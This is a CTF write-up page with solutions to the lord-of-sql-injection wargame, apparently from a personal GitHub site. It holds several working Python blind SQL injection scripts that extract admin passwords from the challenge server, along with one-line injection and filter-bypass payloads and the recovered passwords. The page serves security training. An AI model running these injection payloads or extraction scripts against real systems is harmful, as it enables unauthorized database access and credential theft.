Avishai's CTF Writeups

...

View on GitHub

← Back to lord-of-sql-injection

This folder contains solutions for the Lord-of-sql-injection wargame from lord-of-sql-injection.

assassin

the source code is here [assassin]

import asyncio
import aiohttp
import string

def string_to_hex(s):
    return ''.join(format(ord(char), '02x') for char in s)

def string_to_binary(s):
    concat = ''
    for c in s:
        val = ord(c)
        res = ''
        while val:
            res += str(int(val%2))
            val //= 2
        res += '0'*(8-len(res))
        concat += res[::-1]
    return concat

URL = "https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php"
SESSION_ID = "123"
cookies = {'PHPSESSID':SESSION_ID}

semaphore = asyncio.Semaphore(5)  # Limit concurrent requests

async def fetch(session, payload):
    params ={'pw':payload}

    timeout = aiohttp.ClientTimeout(total=10)  # Increase timeout duration
    try:
        async with session.post(URL, params=params,cookies=cookies, timeout=timeout) as response:
            return await response.text()
    except asyncio.TimeoutError:
        # print(f"Timeout occurred for payload: {payload}")
        return "timeout"  # Placeholder for timeout

async def find_password_length(session):
    for length in range(1, 50):  # Adjust the range based on expected max length
        payload = f"' || id='admin' && LENGTH(pw) like {length}--\t"

        response = await fetch(session, payload)
        if "<h2>Hello admin</h2>" in response:
            print(f"Password length found: {length}")
            return length
    return None  # Return None if length not found

async def main():
    async with aiohttp.ClientSession() as session:
        # password_length = await find_password_length(session) 
        password_length = 8 # all passwords length on this challenge are 8 characters
        if password_length is None:
            print("Could not determine password length.")
            return
        
        password = ""
        i = len(password) + 1
        character_set = string.ascii_letters + string.digits + "{" + "}" + "-"+ "_" + '!' + "?" 

        while len(password) < password_length:
            tasks = []
            for c in character_set:  # Iterate through character set
                hex = string_to_hex((password+c).replace("_", r"\_"))
                payload = f"{password}{c}%".replace("_", r"\_")

                # print(c+":"+payload)
                tasks.append(fetch(session, payload))

                await asyncio.sleep(0.1)  # Delay between requests

            responses = await asyncio.gather(*tasks)
            
            found = False
            remember = ''
            for index, response in enumerate(responses):
                if index < len(character_set) and "<h2>Hello admin</h2>" in response:
                    c = character_set[index]  # Correctly access character from character set
                    password += c
                    print(password.ljust(password_length, '*'))
                    found = True
                    break
                elif index < len(character_set) and "<h2>Hello guest</h2>" in response:
                    c = character_set[index]  # Correctly access character from character set
                    remember = c
                    break
            if not found:
                password += remember
                print(password.ljust(password_length, '*'))

            
            i += 1  # Move to the next character position

if __name__ == "__main__":
    asyncio.run(main())

the password we get is 902efd10

Next Level Writeup

bugbear

the source code is here [bugbear]

import asyncio
import aiohttp
import string

def string_to_hex(s):
    return ''.join(format(ord(char), '02x') for char in s)

def string_to_binary(s):
    concat = ''
    for c in s:
        val = ord(c)
        res = ''
        while val:
            res += str(int(val%2))
            val //= 2
        res += '0'*(8-len(res))
        concat += res[::-1]
    return concat

URL = "https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php"
SESSION_ID = "123"
cookies = {'PHPSESSID':SESSION_ID}

semaphore = asyncio.Semaphore(5)  # Limit concurrent requests

async def fetch(session, payload):
    params ={'no':payload}

    timeout = aiohttp.ClientTimeout(total=10)  # Increase timeout duration
    try:
        async with session.post(URL, params=params,cookies=cookies, timeout=timeout) as response:
            return await response.text()
    except asyncio.TimeoutError:
        # print(f"Timeout occurred for payload: {payload}")
        return "timeout"  # Placeholder for timeout

async def find_password_length(session):
    for length in range(1, 50):  # Adjust the range based on expected max length
        payload = f"0||LENGTH(pw)regexp({length})--\t"

        response = await fetch(session, payload)

        if "<h2>Hello admin</h2>" in response:
            print(f"Password length found: {length}")
            return length
    return None  # Return None if length not found

async def main():
    async with aiohttp.ClientSession() as session:
        password_length = await find_password_length(session)
        if password_length is None:
            print("Could not determine password length.")
            return
        
        password = ""
        i = len(password) + 1
        character_set = "_" + string.ascii_letters + string.digits + "{" + "}" + "-"+ '!' + "?" 

        while len(password) < password_length:
            tasks = []
            for c in character_set:  # Iterate through character set
                hex = string_to_hex((password+c).replace("_", r"\_"))
                binary = string_to_binary((password+c).replace("_", r"\_"))
                payload = f"0||left(pw,{i})REGEXP(0b{binary})--\t"


                # print(c+":"+payload)
                tasks.append(fetch(session, payload))

                await asyncio.sleep(0.1)  # Delay between requests

            responses = await asyncio.gather(*tasks)

            for index, response in enumerate(responses):
                if index < len(character_set) and "<h2>Hello admin</h2>" in response:
                    c = character_set[index]  # Correctly access character from character set
                    password += c
                    print(password.ljust(password_length, '*'))
                    break
            
            i += 1  # Move to the next character position

if __name__ == "__main__":
    asyncio.run(main())


the password we get is 52dc3991

Next Level Writeup

cobolt

sql injection. the payload will be ' or id='admin'-- @

Next Level Writeup

dark_eyes

the source code is here [dark_eyes]

import asyncio
import aiohttp
import string

def string_to_hex(s):
    return ''.join(format(ord(char), '02x') for char in s)

def string_to_binary(s):
    concat = ''
    for c in s:
        val = ord(c)
        res = ''
        while val:
            res += str(int(val%2))
            val //= 2
        res += '0'*(8-len(res))
        concat += res[::-1]
    return concat

URL = "https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php"
SESSION_ID = "123"
cookies = {'PHPSESSID':SESSION_ID}

semaphore = asyncio.Semaphore(5)  # Limit concurrent requests

async def fetch(session, payload):
    params ={'pw':payload}

    timeout = aiohttp.ClientTimeout(total=10)  # Increase timeout duration
    try:
        async with session.post(URL, params=params,cookies=cookies, timeout=timeout) as response:
            return await response.text()
    except asyncio.TimeoutError:
        # print(f"Timeout occurred for payload: {payload}")
        return "timeout"  # Placeholder for timeout

async def find_password_length(session):
    for length in range(1, 50):  # Adjust the range based on expected max length
        payload = f"'|| id='admin' and power((length(pw)='{length}')*10000,100000)--\t"


        response = await fetch(session, payload)
        if not response:
            print(f"Password length found: {length}")
            return length
    return None  # Return None if length not found

async def main():
    async with aiohttp.ClientSession() as session:
        password_length = await find_password_length(session)
        if password_length is None:
            print("Could not determine password length.")
            return
        
        password = ""
        i = len(password) + 1
        character_set = "_" + string.ascii_letters + string.digits + "{" + "}" + "-"+ '!' + "?" 

        while len(password) < password_length:
            tasks = []
            for c in character_set:  # Iterate through character set
                hex = string_to_hex((password+c).replace("_", r"\_"))
                payload = f"' || id='admin' and power((substr(pw,{i},1)='{c}')*10000,100000)--\t"

                # print(c+":"+payload)
                tasks.append(fetch(session, payload))

                await asyncio.sleep(0.1)  # Delay between requests

            responses = await asyncio.gather(*tasks)

            for index, response in enumerate(responses):
                if index < len(character_set) and not response:
                    c = character_set[index]  # Correctly access character from character set
                    password += c
                    print(password.ljust(password_length, '*'))
                    break
            
            i += 1  # Move to the next character position

if __name__ == "__main__":
    asyncio.run(main())


the password we get is 5a2f5d3c

Next Level Writeup

darkelf

The payload will be '||id='admin'--%0b

Next Level Writeup

darkknight

the source code is here [darkknight]

import asyncio
import aiohttp
import string

def string_to_hex(s):
    return ''.join(format(ord(char), '02x') for char in s)

def string_to_binary(s):
    concat = ''
    for c in s:
        val = ord(c)
        res = ''
        while val:
            res += str(int(val%2))
            val //= 2
        res += '0'*(8-len(res))
        concat += res[::-1]
    return concat

URL = "https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php"
SESSION_ID = "123"
cookies = {'PHPSESSID':SESSION_ID}

semaphore = asyncio.Semaphore(5)  # Limit concurrent requests

async def fetch(session, payload):
    params ={'no':payload}

    timeout = aiohttp.ClientTimeout(total=10)  # Increase timeout duration
    try:
        async with session.post(URL, params=params,cookies=cookies, timeout=timeout) as response:
            return await response.text()
    except asyncio.TimeoutError:
        # print(f"Timeout occurred for payload: {payload}")
        return "timeout"  # Placeholder for timeout

async def find_password_length(session):
    for length in range(1, 50):  # Adjust the range based on expected max length
        payload = f"0|| LENGTH(pw) like {length}-- @"


        response = await fetch(session, payload)
        if "<h2>Hello admin</h2>" in response:
            print(f"Password length found: {length}")
            return length
    return None  # Return None if length not found

async def main():
    async with aiohttp.ClientSession() as session:
        password_length = await find_password_length(session)
        if password_length is None:
            print("Could not determine password length.")
            return
        
        password = ""
        i = len(password) + 1
        character_set = "_" + string.ascii_letters + string.digits + "{" + "}" + "-"+ '!' + "?" 

        while len(password) < password_length:
            tasks = []
            for c in character_set:  # Iterate through character set
                hex = string_to_hex((password+c).replace("_", r"\_"))
                payload = f"0|| left(pw,{i}) REGEXP BINARY 0x{hex}-- @"

                # print(c+":"+payload)
                tasks.append(fetch(session, payload))

                await asyncio.sleep(0.1)  # Delay between requests

            responses = await asyncio.gather(*tasks)

            for index, response in enumerate(responses):
                if index < len(character_set) and "<h2>Hello admin</h2>" in response:
                    c = character_set[index]  # Correctly access character from character set
                    password += c
                    print(password.ljust(password_length, '*'))
                    break
            
            i += 1  # Move to the next character position

if __name__ == "__main__":
    asyncio.run(main())

the password we get is 0b70ea1f

Next Level Writeup

dragon

The payload will be

'
and 0 union select 'admin'--%0b

notice the \n between ' and and

the encoded payload is %27%0Aand%200%20union%20select%20%27admin%27--%0b

Next Level Writeup

giant

The payload will be %0b

Next Level Writeup

goblin

sql injection. the payload will be 2 or id=0x61646d696e-- @

Next Level Writeup

golem

the source code is here [golem]

import asyncio
import aiohttp
import string

def string_to_hex(s):
    return ''.join(format(ord(char), '02x') for char in s)

def string_to_binary(s):
    concat = ''
    for c in s:
        val = ord(c)
        res = ''
        while val:
            res += str(int(val%2))
            val //= 2
        res += '0'*(8-len(res))
        concat += res[::-1]
    return concat

URL = "https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php"
SESSION_ID = "123"
cookies = {'PHPSESSID':SESSION_ID}

semaphore = asyncio.Semaphore(5)  # Limit concurrent requests

async def fetch(session, payload):
    params ={'pw':payload}

    timeout = aiohttp.ClientTimeout(total=10)  # Increase timeout duration
    try:
        async with session.post(URL, params=params,cookies=cookies, timeout=timeout) as response:
            return await response.text()
    except asyncio.TimeoutError:
        # print(f"Timeout occurred for payload: {payload}")
        return "timeout"  # Placeholder for timeout

async def find_password_length(session):
    for length in range(1, 50):  # Adjust the range based on expected max length
        payload = f"' || id like 'admin' && LENGTH(pw) like {length}-- @"

        response = await fetch(session, payload)
        if "<h2>Hello admin</h2>" in response:
            print(f"Password length found: {length}")
            return length
    return None  # Return None if length not found

async def main():
    async with aiohttp.ClientSession() as session:
        password_length = await find_password_length(session)
        if password_length is None:
            print("Could not determine password length.")
            return
        
        password = ""
        i = len(password) + 1
        character_set = "_" + string.ascii_letters + string.digits + "{" + "}" + "-"+ '!' + "?" 

        while len(password) < password_length:
            tasks = []
            for c in character_set:  # Iterate through character set
                hex = string_to_hex((password+c).replace("_", r"\_"))
                payload = f"' || id like 'admin' && left(pw,{i}) REGEXP BINARY 0x{hex}-- @"

                # print(c+":"+payload)
                tasks.append(fetch(session, payload))

                await asyncio.sleep(0.1)  # Delay between requests

            responses = await asyncio.gather(*tasks)

            for index, response in enumerate(responses):
                if index < len(character_set) and "<h2>Hello admin</h2>" in response:
                    c = character_set[index]  # Correctly access character from character set
                    password += c
                    print(password.ljust(password_length, '*'))
                    break
            
            i += 1  # Move to the next character position

if __name__ == "__main__":
    asyncio.run(main())

the password we get is 77d6290b

Next Level Writeup

gremlin

sql injection. the payload will be ' or 1--%0b

Next Level Writeup

iron_golem

the source code is here [iron_golem]

{% include_relative scripts/iron_golem.py %}

the password we get is 06b5a6c16e8830475f983cc3a825ee9a

Next Level Writeup

nightmare

sql injection. the payload will be ')=0;%00

Next Level Writeup

orc

the source code is here [orc]

{% include_relative scripts/orc.py %}

the password we get is 095a9852

Next Level Writeup

orge

the source code is here [orge]

{% include_relative scripts/orge.py %}

the password we get is 7b751aec

Next Level Writeup

skeleton

The payload will be '||id='admin'--%0b

Next Level Writeup

succubus

The payload will be for id: \ for pw: ||id=0x61646D696E--%0b and the whole query will look like this: id=\&pw=||id=0x61646D696E--%0b

Next Level Writeup

troll

sql injection. the payload will be Admin

Next Level Writeup

vampire

sql injection. the payload will be adadminmin

Next Level Writeup

wolfman

The payload will be '||id='admin'--%0b

Next Level Writeup

xavis

the source code is here [xavis]

{% include_relative scripts/xavis.py %}

here it’s a bit tricky, because the password is in korean the password we get is 우왕굳

Next Level Writeup

zombie_assassin

The payload will be for id: %00 for pw: %0b--1|| and the whole query will look like this: id=%00&pw=%0b--1||

Next Level Writeup